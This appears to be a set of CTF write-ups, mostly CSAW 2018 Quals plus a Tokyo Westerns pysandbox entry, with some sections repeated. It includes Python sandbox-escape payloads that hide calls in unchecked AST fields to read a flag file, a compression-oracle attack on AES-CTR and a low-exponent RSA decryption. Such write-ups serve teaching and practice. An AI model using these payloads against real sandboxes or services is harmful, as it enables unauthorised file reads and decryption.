text_chunk
stringlengths 151
703k
|
---|
**Description**
> I personally prefer Home Depot> > XOR Passes are the easiest way to use numbers to encrypt!> > By Kris Kwiatkowski, Cloudflare
**Files provided**
- [`file.enc`](https://github.com/Aurel300/empirectf/blob/master/writeups/2018-09-14-CSAW-CTF-Quals/files/lowe-file.enc) - [`key.enc`](https://github.com/Aurel300/empirectf/blob/master/writeups/2018-09-14-CSAW-CTF-Quals/files/lowe-key.enc) - [`publickey.pem`](https://github.com/Aurel300/empirectf/blob/master/writeups/2018-09-14-CSAW-CTF-Quals/files/lowe-publickey.pem)
**Solution**
First of all, let's have a look at all the files.
`file.enc` is Base64-encoded data, but it looks encrypted:
$ base64 -D < file.enc > file.bin $ xxd file.bin 0000000: 912b 68ca 798d e4b4 a78a e7b4 9c3c 658b .+h.y........<e. 0000010: d72c 4ab0 607b 167f 60ea 397b e314 91f2 .,J.`{..`.9{.... 0000020: 4ac2 f86d f211 ec63 2306 558c cc94 ea7d J..m...c#.U....} 0000030: b001 41ac f09b 9b85 00e2 7ee8 32bd b396 ..A.......~.2...
`key.enc` is a 462-digit (in decimal) number.
`publickey.pem` is an ASCII-formatted public key:
$ openssl rsa -pubin -in pubkey.pem -text -noout Public-Key: (1536 bit) Modulus: 00:cf:70:7e:ed:97:90:17:b7:f6:f4:76:ff:3b:a6: 55:59:ad:b1:82:e0:7c:fa:23:33:b1:ec:05:6b:7f: 7b:96:12:40:54:f1:f5:74:8b:04:c3:69:4e:90:f0: d9:9f:ee:05:84:a8:7a:70:81:75:80:d4:93:93:32: 1b:b2:08:07:ff:de:25:a4:c8:ab:d4:6d:95:c1:e3: 74:0d:9e:64:1f:e7:7f:9b:96:ce:ca:e9:18:e6:7a: 24:89:52:b5:da:81:ae:77:42:bd:ae:51:b1:29:24: 59:73:41:50:57:ae:75:df:b7:5a:78:e8:24:37:9e: 52:50:65:92:c3:75:0e:9a:1c:7e:70:1b:ee:8d:df: c7:a9:ca:72:53:4c:d3:b0:95:79:f8:7a:4e:b3:76: f9:26:7c:d1:a1:6e:1e:57:90:95:c5:b8:6f:4b:8f: 24:fb:61:3f:08:a7:e0:e4:75:d2:55:56:ae:41:c8: ce:e2:48:e9:0d:ac:96:5d:c4:7d:db:b4:c5 Exponent: 3 (0x3)
It is an RSA public key. The one thing that should immediately stand out is that the exponent `e` is very low. In fact, the challenge title `lowe` must be referring to this fact. Since RSA operates on data in the form of numbers, we can guess that `key.enc` is actually the result of RSA encryption, formatted as decimal digits instead of the usual binary data.
Also, we can consult e.g. Wikipedia on [attacks against plain RSA](https://en.wikipedia.org/wiki/RSA_(cryptosystem)#Attacks_against_plain_RSA) and see that a low exponent can mean that the exponentiated plain text will be strictly less than the modulus `n`. If this were the case, we could simply take the root (in this case the cube root) of the cipher text (i.e. the `key.enc` number) and get back the plain text.
$ python3 >>> import gmpy2 >>> e = gmpy2.mpz(3) >>> cipher = gmpy2.mpz(219135993109607778001201845084150602227376141082195657844762662508084481089986056048532133767792600470123444605795683268047281347474499409679660783370627652563144258284648474807381611694138314352087429271128942786445607462311052442015618558352506502586843660097471748372196048269942588597722623967402749279662913442303983480435926749879440167236197705613657631022920490906911790425443191781646744542562221829319509319404420795146532861393334310385517838840775182) >>> gmpy2.iroot(cipher, e) (mpz(6028897571524104587358191144119083924650151660953920127739581033174354252210219577997969114849529704172847232120373331804620146706030387812427825026581462), False)
Unfortunately, this did not work - the second value in the tuple returned by `gmpy2.iroot` (integer root) indicates whether the root is exact. It is `False` in this case, so the returned number is not the actual plain text.
But `n` is fairly large, and `e` is really low, so let's not give up immediately. If `p^e`, i.e. the exponentiated plain text is not strictly smaller than `n`, then perhaps it only "overflowed" through the modulus a small number of times. We can check if `c + n` has an exact cube root, then `c + 2 * n`, and so on.
>>> n = gmpy2.mpz(0xcf707eed979017b7f6f476ff3ba65559adb182e07cfa2333b1ec056b7f7b96124054f1f5748b04c3694e90f0d99fee0584a87a70817580d49393321bb20807ffde25a4c8abd46d95c1e3740d9e641fe77f9b96cecae918e67a248952b5da81ae7742bdae51b129245973415057ae75dfb75a78e824379e52506592c3750e9a1c7e701bee8ddfc7a9ca72534cd3b09579f87a4eb376f9267cd1a16e1e579095c5b86f4b8f24fb613f08a7e0e475d25556ae41c8cee248e90dac965dc47ddbb4c5) >>> gmpy2.iroot(cipher + n, e) (mpz(12950973085835763560175702356704747094371821722999497961023063926142573092871510801730909790343717206777660797494675328809965345887934044682722741193527531), True) >>> plain = int(gmpy2.iroot(cipher + n, e)[0])
And yes, `c + n` already has an exact cube root, no need to do a long and computationally heavy search. So what did we decrypt, exactly?
>>> hex(plain) '0xf74709ad02fe85d8d3f993d5ff5716eabb5829df0d12624a048e0a4bd726a6c428a3cd5ac6248900113733effdf1dc4b8837209c92a9a3e161d0478d04dbd0eb'
It doesn't look like ASCII data. But the challenge description mentions XOR encryption. Also, the file we haven't used yet, `file.enc`, contains 64 bytes of data, and the key we just RSA-decrypted is also 64 bytes. Let's try to XOR the two:
>>> key = bytes.fromhex(hex(plain)[2:]) >>> data = open("file.bin", "rb").read() >>> bytes([ k ^ d for (k, d) in zip(key, data) ]) b'flag{saltstacksaltcomit5dd304276ba5745ec21fc1e6686a0b28da29e6fc}'
Again an unrelated-looking flag.
`flag{saltstacksaltcomit5dd304276ba5745ec21fc1e6686a0b28da29e6fc}` |
**Description**
> Simple Recovery Try to recover the data from these RAID 5 images!
**Files provided**
- [`disk.img0.7z`](https://github.com/Aurel300/empirectf/blob/master/writeups/2018-09-14-CSAW-CTF-Quals/files/simple_recovery-disk.img0.7z) - [`disk.img1.7z`](https://github.com/Aurel300/empirectf/blob/master/writeups/2018-09-14-CSAW-CTF-Quals/files/simple_recovery-disk.img1.7z)
**Solution**
After extraction, we can check if the flag is hidden in plain text:
$ strings disk.* | grep "flag{" <photoshop:LayerName>flag{dis_week_evry_week_dnt_be_securty_weak}</photoshop:LayerName> <photoshop:LayerText>flag{dis_week_evry_week_dnt_be_securty_weak} |
# Tokyo Western 2018: pysandbox
__Tags:__ `misc`
This sandbox uses python's `ast` module to parse the input string to its corresponding _abstract syntax tree_. This is what python uses to represent scripts during runtime.
A quick reading of the server scripts shows that when check encounters a `Call` or `Attribute` in the expression, it will be considered invalid.
```python# Allowed1 + 2[1, 2]
# Not Allowedlen([1, 2])[1, 2].append(3)''.__class__```
The incorrect way to approach this problem is to look for ways to be able to do this __without__ `Call`. Instead, we should look for areas in the tree __not seen by `check`__.
The task was nice enough to put a comment that can be found from python's `ast` [module documentation](https://docs.python.org/2/library/ast.html).
Comment```expr = BoolOp(boolop op, expr* values) | BinOp(expr left, operator op, expr right) | UnaryOp(unaryop op, expr operand) | Lambda(arguments args, expr body) | IfExp(expr test, expr body, expr orelse)```
Implemented Checks```python attributes = { 'BoolOp': ['values'], 'BinOp': ['left', 'right'], 'UnaryOp': ['operand'], 'Lambda': ['body'], 'IfExp': ['test', 'body', 'orelse'] ...```
These list down the different components of a particular expression, and the `attributes` dictionary shows the parts that `check` traverses. We compare the two and identify several parts that are not checked.
Here are some examples:
| Original | Implemented Checks | Unchecked parts ||------------------------------------------------------|-----------------------:|-----------------:|| Lambda(arguments args, expr body) | 'Lambda': ['body'] | args || ListComp(expr elt, comprehension* generators) | 'ListComp': ['elt'] | generators || Subscript(expr value, slice slice, expr_context ctx) | Subscript': ['value'] | slice, ctx |
.
Based on this we can infer that any `Call` in those parts will not be checked.
All of the unchecked parts can be used to hide calls. Here are two ways of getting the flags based on the findings above:
### Using List Comprehensions
```[e for e in list(open('flag'))]```
### Using Subscript
```[][sys.stdout.write(open('flag').read())]```
### Note of Flag2
For the second flag, it is really the same thing, but the `attributes` inside the `check` function is more complete.
```python attributes = { 'BoolOp': ['values'], 'BinOp': ['left', 'right'], 'UnaryOp': ['operand'], 'Lambda': ['body'], 'IfExp': ['test', 'body', 'orelse'], 'Dict': ['keys', 'values'], 'Set': ['elts'], 'ListComp': ['elt', 'generators'], 'SetComp': ['elt', 'generators'], 'DictComp': ['key', 'value', 'generators'], 'GeneratorExp': ['elt', 'generators'], 'Yield': ['value'], 'Compare': ['left', 'comparators'], 'Call': False, # call is not permitted 'Repr': ['value'], 'Num': True, 'Str': True, 'Attribute': False, # attribute is also not permitted 'Subscript': ['value'], 'Name': True, 'List': ['elts'], 'Tuple': ['elts'], 'Expr': ['value'], # root node 'comprehension': ['target', 'iter', 'ifs'], }
``` |
# 2018-09-14-CSAW-CTF-Quals #
[CTFTime link](https://ctftime.org/event/633) | [Website](https://ctf.csaw.io/)
---
## Challenges ##
### Crypto ###
- [x] [50 babycrypto](#50-crypto--babycrypto) - [x] [100 flatcrypt](#100-crypto--flatcrypt) - [x] [200 lowe](#200-crypto--lowe) - [ ] 400 Holywater - [ ] 500 Collusion
### Forensics ###
- [x] [150 simple_recovery](#150-forensics--simple_recovery) - [x] [200 ? Rewind](#200-forensics---rewind) - [x] [300 mcgriddle](#300-forensics--mcgriddle) - [x] [300 whyOS](#300-forensics--whyos)
### Misc ###
- [x] [1 Twitch Plays Test Flag](#1-misc--twitch-plays-test-flag) - [x] [50 bin_t](#50-misc--bin_t) - [x] [75 Short Circuit](#75-misc--short-circuit) - [x] [100 Algebra](#100-misc--algebra) - [x] [200 Take an L](#200-misc--take-an-l)
### Pwn ###
- [x] [25 bigboy](#25-pwn--bigboy) - [x] [50 get it?](#50-pwn--get-it) - [x] [100 shell->code](#100-pwn--shell-code) - [x] [200 doubletrouble](#200-pwn--doubletrouble) - [x] [250 turtles](#250-pwn--turtles) - [x] [300 PLC](#300-pwn--plc) - [x] [400 alien invasion](#400-pwn--alien-invasion)
### Reversing ###
- [x] [50 A Tour of x86 - Part 1](#50-reversing--a-tour-of-x86---part-1) - [x] [100 A Tour of x86 - Part 2](#100-reversing--a-tour-of-x86---part-2) - [x] [200 A Tour of x86 - Part 3](#200-reversing--a-tour-of-x86---part-3) - [ ] 400 Not Protobuf - [ ] 500 1337 - [x] [500 kvm](#500-reversing--kvm)
### Web ###
- [x] [50 Ldab](#50-web--ldab) - [x] [100 sso](#100-web--sso) - [ ] 200 Hacker Movie Club - [ ] 400 No Vulnerable Services - [ ] 500 WTF.SQL
---
## 50 Crypto / babycrypto ##
**Description**
> yeeeeeeeeeeeeeeeeeeeeeeeeeeeeeet> > single yeet yeeted with single yeet == 0> > yeeet> > what is yeet?> > yeet is yeet> > Yeetdate: yeeted yeet at yeet: 9:42 pm
**Files provided**
- [`ciphertext.txt`](files/babycrypto-ciphertext.txt)
**Solution**
If we decode the ciphertext with Base64, we see a lot of non-ASCII characters:
$ base64 -D < ciphertext.txt > b64dec.bin $ xxd b64dec.bin 0000000: b39a 9091 df96 8cdf 9edf 8f8d 9098 8d9e ................ 0000010: 9292 9a8d df88 9790 df9e 8c8f 968d 9a8c ................ 0000020: df8b 90df 9c8d 9a9e 8b9a df8f 8d90 988d ................ 0000030: 9e92 8cdf 8b97 9e8b df97 9a93 8fdf 8f9a ................ 0000040: 908f 939a df9b 90df 939a 8c8c d1df b79a ................ 0000050: df88 9e91 8b8c df8b 90df 8f8a 8bdf 9e8a ................ 0000060: 8b90 929e 8b96 9091 df99 968d 8c8b d3df ................ 0000070: 9e91 9bdf 8c9c 9e93 9e9d 9693 968b 86df ................ 0000080: 9e93 9091 988c 969b 9ad1 dfb7 9adf 9b8d ................ 0000090: 9a9e 928c df90 99df 9edf 8890 8d93 9bdf ................ 00000a0: 8897 9a8d 9adf 8b97 9adf 9a91 9b93 9a8c ................ 00000b0: 8cdf 9e91 9bdf 8b97 9adf 9691 9996 9196 ................ 00000c0: 8b9a df9d 9a9c 9092 9adf 8d9a 9e93 968b ................ 00000d0: 969a 8cdf 8b90 df92 9e91 9496 919b d3df ................ 00000e0: 9e91 9bdf 8897 9a8d 9adf 8b97 9adf 8b8d ................ 00000f0: 8a9a df89 9e93 8a9a df90 99df 9396 999a ................ 0000100: df96 8cdf 8f8d 9a8c 9a8d 899a 9bd1 9993 ................ 0000110: 9e98 849b 9699 9996 9ad2 979a 9393 929e ................ 0000120: 91d2 98cf 8f97 cc8d 858d 9eb0 a6ce b59e ................ 0000130: 93cb 9cb7 9eb9 a6c6 aca8 ad86 beae c99e ................ 0000140: b782 ..
In fact, not a single byte is ASCII data - all the bytes are higher than `0x7F`. This indicates that the MSB (most significant bit) is `1` for all bytes. It also shows that this might not be the result of a "standard" cipher, which would (attempt to) distribute the values over the entire spectrum.
So an obvious possibility was that the MSB was simply set on all the bytes, and to decode we should ignore the byte:
```pythonimport syswith open("b64dec.bin", "rb") as f: encoded = f.read() for c in encoded: sys.stdout.write(chr(ord(c) & 0x7F))```
This produces some more ASCII-looking data, but it is still not readable and the most common character seems to be `_`. An underscore is `0x5F`, and if we put back the MSB we ignored, that value is `0xDF`, or `0b11011111`. If this is English text, we would expect the most common character to be `0x20` (a space), which happens to be `0x20`, or `0b00100000`. All the bits are inverted, so let's see if this works:
```pythonimport syswith open("b64dec.bin", "rb") as f: encoded = f.read() for c in encoded: sys.stdout.write(chr(ord(c) ^ 0xFF))```
And indeed:
$ python invertBits.py
> Leon is a programmer who aspires to create programs that help people do less. He wants to put automation first, and scalability alongside. He dreams of a world where the endless and the infinite become realities to mankind, and where the true value of life is preserved.flag{diffie-hellman-g0ph3rzraOY1Jal4cHaFY9SWRyAQ6aH}
The flag seems a bit unrelated.
`flag{diffie-hellman-g0ph3rzraOY1Jal4cHaFY9SWRyAQ6aH}`
## 100 Crypto / flatcrypt ##
**Description**
> no logos or branding for this bug> > Take your pick nc `crypto.chal.csaw.io 8040` `nc crypto.chal.csaw.io 8041` `nc crypto.chal.csaw.io 8042` `nc crypto.chal.csaw.io 8043`> > flag is not in flag format. flag is PROBLEM_KEY
**Files provided**
- [`serv-distribute.py`](files/flatcrypt-serv-distribute.py)
**Solution**
Let's examine the script:
```pythondef encrypt(data, ctr): return AES.new(ENCRYPT_KEY, AES.MODE_CTR, counter = ctr).encrypt(zlib.compress(data))
while True: f = input("Encrypting service\n") if len(f) < 20: continue enc = encrypt( bytes( (PROBLEM_KEY + f).encode('utf-8') ), Counter.new(64, prefix = os.urandom(8)) ) print("%s%s" % (enc, chr(len(enc))))```
Our target is `PROBLEM_KEY` and we don't know `ENCRYPT_KEY`.
Whenever we interact with the script, we have to give it at least 20 bytes of data. It then prepends `PROBLEM_KEY` to our data, uses `zlib` to compress the result, and finally encrypts that using AES-CTR with a random counter. We get to see the encrypted result and the length of that data.
So there are a few things to note here. First of all, AES-CTR is not a block cipher, it is a stream cipher - it encrypts each byte separately and hence the size of the cipher text is the same as the size of the plain text. This is different from e.g. AES-CBC.
`zlib` is a standard compression library. By definition, it tries to compress data, i.e. make the output smaller than the input. The way this works is by finding sequences of data which occur multiple times in the input and replacing them with back-references. It works at the byte level, i.e. it can compress `1234 1234` to `1234 <back-ref to 1234>`, but it cannot compress `1234 5678` to `1234 <back-ref to 1234 with +4 to byte values>`.
$ python3 >>> import zlib >>> # all bytes from 0 to 255: >>> len(bytes([ i for i in range(256) ])) 256 >>> # zlib compression makes the result larger: >>> len(zlib.compress(bytes([ i for i in range(256) ]))) 267 >>> # the sequence 0, 1, 2, 3, 0, 1, 2, 3, ...: >>> len(bytes([ i % 4 for i in range(256) ])) 256 >>> # zlib compression identifies the repeating 0, 1, 2, 3: >>> len(zlib.compress(bytes([ i % 4 for i in range(256) ]))) 15
What do we actually do in this challenge? We cannot decrypt the AES, since we don't know the encryption key and the counter is 8 random bytes that would be very hard to predict. The only information leak that we have available is the size of the cipher text, and this depends on how well the `zlib` compression performs.
If you are not familiar with an attack like this, see [CRIME](https://en.wikipedia.org/wiki/CRIME) or [BREACH](https://en.wikipedia.org/wiki/BREACH).
How does `zlib` compression help us? Let's assume that `PROBLEM_KEY` is the string `good_secret`. Now let's append `baad` and `good` to `PROBLEM_KEY`, compress it, and check the length of the result:
>>> len(zlib.compress(b"good_secret" + b"baad")) 23 >>> len(zlib.compress(b"good_secret" + b"good")) 21
The length of the string we appended was the same, and yet the second is shorter - because `good` is a part of `PROBLEM_KEY` and hence even without knowing what `PROBLEM_KEY` is, we can tell that it contains `good`.
So this will be our general approach: send various strings to the server and character-by-character we can find out what `PROBLEM_KEY` is, based on how well our attempts compress.
There is just one complication in this challenge, and it is that our input needs to be at least 20 bytes. This is why the above-mentioned fact that `zlib` operates on the byte level is important to us. We can prepend our test string with 20 bytes that will definitely not occur in `PROBLEM_KEY`. The challenge tells us what the search space is for `PROBLEM_KEY`:
```python# Determine this key.# Character set: lowercase letters and underscorePROBLEM_KEY = 'not_the_flag'```
We can easily find a simple 20-byte string that doesn't contain lowercase characters or underscores: `1234567890ABCDEFGHIJ`. Even better, we can use it to our advantage. This will be the general outline of our search algorithm:
- `padding` := "1234567890ABCDEFGHIJ" - start with an empty `known_flag` string - while `known_flag` is not the full flag: - for each `candidate` in the key alphabet: - send `padding` + `candidate` + `known_flag` + `padding` to the server - prepend the best-compressed `candidate` to `known_flag`
During the CTF my script first started with a three-byte string found by brute-force, then extended the candidate in both directions, but the above method is much simpler and less bandwidth-intensive.
([Full Python script here](scripts/flatcrypt.py))
$ python solve.py o go ogo logo _logo a_logo _a_logo e_a_logo ve_a_logo ave_a_logo have_a_logo _have_a_logo t_have_a_logo nt_have_a_logo snt_have_a_logo esnt_have_a_logo oesnt_have_a_logo doesnt_have_a_logo _doesnt_have_a_logo e_doesnt_have_a_logo me_doesnt_have_a_logo ime_doesnt_have_a_logo rime_doesnt_have_a_logo crime_doesnt_have_a_logo done!
`flag{crime_doesnt_have_a_logo}`
## 200 Crypto / lowe ##
**Description**
> I personally prefer Home Depot> > XOR Passes are the easiest way to use numbers to encrypt!> > By Kris Kwiatkowski, Cloudflare
**Files provided**
- [`file.enc`](files/lowe-file.enc) - [`key.enc`](files/lowe-key.enc) - [`publickey.pem`](files/lowe-publickey.pem)
**Solution**
First of all, let's have a look at all the files.
`file.enc` is Base64-encoded data, but it looks encrypted:
$ base64 -D < file.enc > file.bin $ xxd file.bin 0000000: 912b 68ca 798d e4b4 a78a e7b4 9c3c 658b .+h.y........<e. 0000010: d72c 4ab0 607b 167f 60ea 397b e314 91f2 .,J.`{..`.9{.... 0000020: 4ac2 f86d f211 ec63 2306 558c cc94 ea7d J..m...c#.U....} 0000030: b001 41ac f09b 9b85 00e2 7ee8 32bd b396 ..A.......~.2...
`key.enc` is a 462-digit (in decimal) number.
`publickey.pem` is an ASCII-formatted public key:
$ openssl rsa -pubin -in pubkey.pem -text -noout Public-Key: (1536 bit) Modulus: 00:cf:70:7e:ed:97:90:17:b7:f6:f4:76:ff:3b:a6: 55:59:ad:b1:82:e0:7c:fa:23:33:b1:ec:05:6b:7f: 7b:96:12:40:54:f1:f5:74:8b:04:c3:69:4e:90:f0: d9:9f:ee:05:84:a8:7a:70:81:75:80:d4:93:93:32: 1b:b2:08:07:ff:de:25:a4:c8:ab:d4:6d:95:c1:e3: 74:0d:9e:64:1f:e7:7f:9b:96:ce:ca:e9:18:e6:7a: 24:89:52:b5:da:81:ae:77:42:bd:ae:51:b1:29:24: 59:73:41:50:57:ae:75:df:b7:5a:78:e8:24:37:9e: 52:50:65:92:c3:75:0e:9a:1c:7e:70:1b:ee:8d:df: c7:a9:ca:72:53:4c:d3:b0:95:79:f8:7a:4e:b3:76: f9:26:7c:d1:a1:6e:1e:57:90:95:c5:b8:6f:4b:8f: 24:fb:61:3f:08:a7:e0:e4:75:d2:55:56:ae:41:c8: ce:e2:48:e9:0d:ac:96:5d:c4:7d:db:b4:c5 Exponent: 3 (0x3)
It is an RSA public key. The one thing that should immediately stand out is that the exponent `e` is very low. In fact, the challenge title `lowe` must be referring to this fact. Since RSA operates on data in the form of numbers, we can guess that `key.enc` is actually the result of RSA encryption, formatted as decimal digits instead of the usual binary data.
Also, we can consult e.g. Wikipedia on [attacks against plain RSA](https://en.wikipedia.org/wiki/RSA_(cryptosystem)#Attacks_against_plain_RSA) and see that a low exponent can mean that the exponentiated plain text will be strictly less than the modulus `n`. If this were the case, we could simply take the root (in this case the cube root) of the cipher text (i.e. the `key.enc` number) and get back the plain text.
$ python3 >>> import gmpy2 >>> e = gmpy2.mpz(3) >>> cipher = gmpy2.mpz(219135993109607778001201845084150602227376141082195657844762662508084481089986056048532133767792600470123444605795683268047281347474499409679660783370627652563144258284648474807381611694138314352087429271128942786445607462311052442015618558352506502586843660097471748372196048269942588597722623967402749279662913442303983480435926749879440167236197705613657631022920490906911790425443191781646744542562221829319509319404420795146532861393334310385517838840775182) >>> gmpy2.iroot(cipher, e) (mpz(6028897571524104587358191144119083924650151660953920127739581033174354252210219577997969114849529704172847232120373331804620146706030387812427825026581462), False)
Unfortunately, this did not work - the second value in the tuple returned by `gmpy2.iroot` (integer root) indicates whether the root is exact. It is `False` in this case, so the returned number is not the actual plain text.
But `n` is fairly large, and `e` is really low, so let's not give up immediately. If `p^e`, i.e. the exponentiated plain text is not strictly smaller than `n`, then perhaps it only "overflowed" through the modulus a small number of times. We can check if `c + n` has an exact cube root, then `c + 2 * n`, and so on.
>>> n = gmpy2.mpz(0xcf707eed979017b7f6f476ff3ba65559adb182e07cfa2333b1ec056b7f7b96124054f1f5748b04c3694e90f0d99fee0584a87a70817580d49393321bb20807ffde25a4c8abd46d95c1e3740d9e641fe77f9b96cecae918e67a248952b5da81ae7742bdae51b129245973415057ae75dfb75a78e824379e52506592c3750e9a1c7e701bee8ddfc7a9ca72534cd3b09579f87a4eb376f9267cd1a16e1e579095c5b86f4b8f24fb613f08a7e0e475d25556ae41c8cee248e90dac965dc47ddbb4c5) >>> gmpy2.iroot(cipher + n, e) (mpz(12950973085835763560175702356704747094371821722999497961023063926142573092871510801730909790343717206777660797494675328809965345887934044682722741193527531), True) >>> plain = int(gmpy2.iroot(cipher + n, e)[0])
And yes, `c + n` already has an exact cube root, no need to do a long and computationally heavy search. So what did we decrypt, exactly?
>>> hex(plain) '0xf74709ad02fe85d8d3f993d5ff5716eabb5829df0d12624a048e0a4bd726a6c428a3cd5ac6248900113733effdf1dc4b8837209c92a9a3e161d0478d04dbd0eb'
It doesn't look like ASCII data. But the challenge description mentions XOR encryption. Also, the file we haven't used yet, `file.enc`, contains 64 bytes of data, and the key we just RSA-decrypted is also 64 bytes. Let's try to XOR the two:
>>> key = bytes.fromhex(hex(plain)[2:]) >>> data = open("file.bin", "rb").read() >>> bytes([ k ^ d for (k, d) in zip(key, data) ]) b'flag{saltstacksaltcomit5dd304276ba5745ec21fc1e6686a0b28da29e6fc}'
Again an unrelated-looking flag.
`flag{saltstacksaltcomit5dd304276ba5745ec21fc1e6686a0b28da29e6fc}`
## 150 Forensics / simple_recovery ##
**Description**
> Simple Recovery Try to recover the data from these RAID 5 images!
**Files provided**
- [`disk.img0.7z`](files/simple_recovery-disk.img0.7z) - [`disk.img1.7z`](files/simple_recovery-disk.img1.7z)
**Solution**
After extraction, we can check if the flag is hidden in plain text:
$ strings disk.* | grep "flag{" <photoshop:LayerName>flag{dis_week_evry_week_dnt_be_securty_weak}</photoshop:LayerName> <photoshop:LayerText>flag{dis_week_evry_week_dnt_be_securty_weak}</photoshopTOSHOP
And it is...
`flag{dis_week_evry_week_dnt_be_securty_weak}`
## 200 Forensics / ? Rewind ##
**Description**
> Sometimes you have to look back and replay what has been done right and wrong
**Files provided**
- [`rewind.tar.gz`](https://ctf.csaw.io/files/ad0ffb17480563d0658ec831d0881789/rewind.tar.gz) (too large to host)
**Solution**
Once again, after extraction, let's check if the flag is hidden in plain text:
$ strings disk.* | grep "flag{" while [ true ]; do printf "flag{FAKE_FLAG_IS_ALWAYS_GOOD}" | ./a.out; done while [ true ]; do printf "flag{FAKE_FLAG_IS_ALWAYS_GOOD}" | ./a.out; done flag{RUN_R3C0RD_ANA1YZ3_R3P3AT} ... (repeats) flag{RUN_R3C0RD_ANA1YZ3_R3P3AT} while [ true ]; do printf "flag{FAKE_FLAG_IS_ALWAYS_GOOD}" | ./a.out; done ... while [ true ]; do printf "flag{FAKE_FLAG_IS_ALWAYS_GOOD}" | ./a.out; done flag{RUN_R3C0RD_ANA1YZ3_R3P3AT} ... flag{RUN_R3C0RD_ANA1YZ3_R3P3AT}
And it is there again. I think the organisers overlooked this in both this challenge and [simple_recovery](#150-forensics--simple_recovery).
What this challenge *should* have been, I assume, is to get QEMU to replay the given VM snapshot with the given "replay" (which records all user interactions and non-deterministic I/O).
`flag{RUN_R3C0RD_ANA1YZ3_R3P3AT}`
## 300 Forensics / mcgriddle ##
**Description**
> All CTF players are squares> > Edit (09/14 8:22 PM) - Uploaded new pcap file> > Edit (09/15 12:10 AM) - Uploaded new pcap file
**Files provided**
- (before updates) [`output.pcap`](files/mcgriddle-output.pcap) - [`final.pcap`](files/mcgriddle-final.pcap)
**Solution**
Looking through (either) `pcap`, we can see that a chess game is being played, and the moves are indicated with [algebraic chess notation](https://en.wikipedia.org/wiki/Algebraic_notation_%28chess%29). The server responds with its own moves, and between the moves, SVG files are uploaded, each containing an `8 x 8` grid of characters, all of which seem to be Base64.
My first guess was that we treat the SVG grids as chessboards, then for each move of a piece, we take the squares that the piece moved from or to. The coordinates are relatively easy to parse from algebraic notation, but this method seemed to produce no readable text.
The next thing I tried was taking all the characters in the SVG grids and simply decoding them as they were without modifying them. This produced some garbage data, but some of it was readable. What I noticed in particular was that the data decoded from the very first grid has 12 bytes of garbage, followed by 24 bytes of readable text (some lorem ipsum filling text), then 12 bytes of garbage again.
x x x x x x x x x x x x x x x x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x x x x x x x x x x x x x x x x (x = garbage, . = data)
Given the presence of chess moves and the fact that this was the first grid, this was clearly the starting position, and characters covered by pieces should be ignored.
The chess game (in `final.pcap`) was quite long at 90+ moves, so I didn't feel like stepping through the moves myself and writing down the board state manually. Parsing SAN also seemed a bit too slow, so instead I just exported the moves into a standard format โ the moves themselves were already encoded properly, I just numbered them properly:
1. Nf3 Nf6 2. d4 e6 3. Nc3 d5 4. Bg5 Bb4 5. e3 h6 6. Bxf6 Qxf6 7. Bb5+ Bd7 8. O-O O-O 9. Ne5 Qe7 10. Bd3 Nc6 11. Nxd7 Qxd7 12. Ne2 Qe7 13. c4 dxc4 14. Bxc4 Qh4 15. Rc1 Rfd8 16. Ng3 a6 17. f4 Bd6 18. Ne4 Kh8 19. Nxd6 Rxd6 20. Be2 Qd8 21. Qb3 Rb8 22. Rf2 Ne7 23. Bh5 Kg8 24. Qd3 Nd5 25. a3 c6 26. Bf3 Qe7 27. Rfc2 Rc8 28. Rc5 Re8 29. Qd2 Qf6 30. Be4 h5 31. Qe2 h4 32. Qf3 Rd7 33. Bd3 Red8 34. Re1 Kf8 35. Qh5 Nxf4 36. exf4 Qxd4+ 37. Kh1 Qxd3 38. Qh8+ Ke7 39. Qxh4+ Kd6 40. Rc3 Qd2 41. Qg3 Kc7 42. f5+ Kc8 43. fxe6 fxe6 44. Rce3 Qxb2 45. Rxe6 Rd1 46. h3 Rxe1+ 47. Rxe1 Qf6 48. a4 Qf7 49. a5 Rd5 50. Qg4+ Kb8 51. Qg3+ Ka8 52. Re5 Qd7 53. Kg1 Ka7 54. Kh2 Rb5 55. Rxb5 axb5 56. Qe3+ Kb8 57. Qc5 Kc7 58. Kg1 Qd1+ 59. Kf2 Qd6 60. Qc3 Qf8+ 61. Kg1 b6 62. Qd4 Qc5 63. Qxc5 bxc5 64. Kf2 Kb7 65. Ke3 Ka6 66. h4 Kxa5 67. h5 c4 68. Kd2 Kb4 69. g4 Kb3 70. g5 Kb2 71. Ke2 c3 72. h6 gxh6 73. gxh6 c2 74. h7 c1=Q 75. h8=Q+ Qc3 76. Qf8 b4 77. Qf4 Qc2+ 78. Kf3 b3 79. Qd6 c5 80. Ke3 c4 81. Qe6 Qd3+ 82. Kf4 c3 83. Qe5 Ka3 84. Qa5+ Kb2 85. Qe5 Kc1 86. Qc5 b2 87. Qg1+ Kd2 88. Qg2+ Kd1 89. Qg4+ Kc2 90. Qg1 Qd6+ 91. Ke4 Qb4+ 92. Kf3 Qb7+ 93. Kf4 b1=Q 94. Qe3 Kb3 95. Kg5 Qd5+ 96. Kf4 Qbf5+ 97. Kg3 Qd6+ 98. Kg2 Qd2+ 99. Qxd2 cxd2 100. Kg1 d1=Q+ 101. Kg2 Qd2+ 102. Kg3 Qdf2#
Then I pasted this into the [analysis board on Lichess](https://lichess.org/analysis), and with some light Javascript I took the [FEN](https://en.wikipedia.org/wiki/Forsyth%E2%80%93Edwards_Notation) value at each turn. FEN notation encodes the momentary state of the game as opposed to the turn progression, so it is very easy to parse it to see which squares are occupied and which are not.
With the FENs, I masked each SVG grid and parsed the text. Unfortunately, no matter how I adjusted the parser, I could only see the end of the flag (`r3aLLLy_hat3_chess_tbh}`). I tried a couple of guesses but I didn't know how much of the flag I was missing.
After some frustration, I decided to look at the `output.pcap` file, which I downloaded earlier but didn't really use until now. The admin of the challenge said that there were solves on that version as well, so it was clearly not totally broken.
Since the flag in `final.pcap` was quite late in the chess game, the masking with chess pieces didn't really hide it and it might have been sufficient to simply decode the SVG grids without masking โ so I tried this on the `output.pcap` grids and indeed, I found most of the flag there (except for the last three characters).
I guess a [grille cipher](https://en.wikipedia.org/wiki/Grille_(cryptography)) is not terribly effective when most of the grid is used, as is the case towards the end of the game.
`flag{3y3_actuAllY_r3aLLLy_hat3_chess_tbh}`
## 300 Forensics / whyOS ##
**Description**
> Have fun digging through that one. No device needed.> > Note: the flag is not in flag{} format> > HINT: the flag is literally a hex string. Put the hex string in the flag submission box> > Update (09/15 11:45 AM EST) - Point of the challenge has been raised to 300> > Update Sun 9:09 AM: its a hex string guys
**Files provided**
